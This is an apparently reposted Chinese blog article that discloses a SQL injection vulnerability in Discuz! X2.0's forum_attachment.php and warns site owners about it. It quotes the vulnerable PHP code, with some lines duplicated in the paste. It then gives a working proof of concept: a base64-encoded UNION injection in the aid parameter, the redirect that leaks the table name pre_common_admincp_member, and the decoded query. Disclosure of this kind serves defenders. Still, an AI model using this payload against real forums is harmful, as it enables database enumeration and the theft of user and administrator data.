日前,康盛新创公司发布了Discuz! X2.0 正式版,时过不久就爆出了漏洞,今天在阅读博客订阅时就发现了名为:《Discuz! X2 SQL注射漏洞,支持Union》的日志,作者:jannock,但是没有找到原文出处,特将文章转载过来,希望站长们谨防。
原文如下:
文件:source\module\forum\forum_attachment.php
详细:
Copy to Clipboard引用的内容:[www.veryhuo.com]
if(!defined(‘IN_DISCUZ’)) {
exit(‘Access Denied’);
}
define(‘NOROBOT’, TRUE);
@list($_G[‘gp_aid’], $_G[‘gp_k’], $_G[‘gp_t’], $_G[‘gp_uid’], $_G[‘gp_tableid’]) = explode(‘|’, base64_decode($_G[‘gp_aid’]));
exit(‘Access Denied’);
}
define(‘NOROBOT’, TRUE);
@list($_G[‘gp_aid’], $_G[‘gp_k’], $_G[‘gp_t’], $_G[‘gp_uid’], $_G[‘gp_tableid’]) = explode(‘|’, base64_decode($_G[‘gp_aid’]));
if(!empty($_G[‘gp_findpost’]) && ($attach = DB::fetch_first(“SELECT pid, tid FROM “.DB::table(‘forum_attachment’).” WHERE aid=’$_G[gp_aid]'”))) {
dheader(‘location: forum.php?mod=redirect&goto=findpost&pid=’.$attach[‘pid’].’&ptid=’.$attach[‘tid’]);
}
变量aid 直接base64_decode 后传入 SQL查询,造成注射漏洞。。。
Copy to Clipboard引用的内容:[www.veryhuo.com]
http://www.xxxx.net/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eHx4fHg%3D
转向后网址
Copy to Clipboard引用的内容:[www.veryhuo.com]
http://www.xxxx.net/forum.php?mod=redirect&goto=findpost&pid=1&ptid=pre_common_admincp_member
暴出表名 pre_common_admincp_member
实际查询为:
Copy to Clipboard引用的内容:[www.veryhuo.com]
$x=”1′ and 1=2 union all select 1,TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=database() and TABLE_NAME like ‘%_member|x|x|x|x”;
//die (urlencode(base64_encode($x)));
//die (urlencode(base64_encode($x)));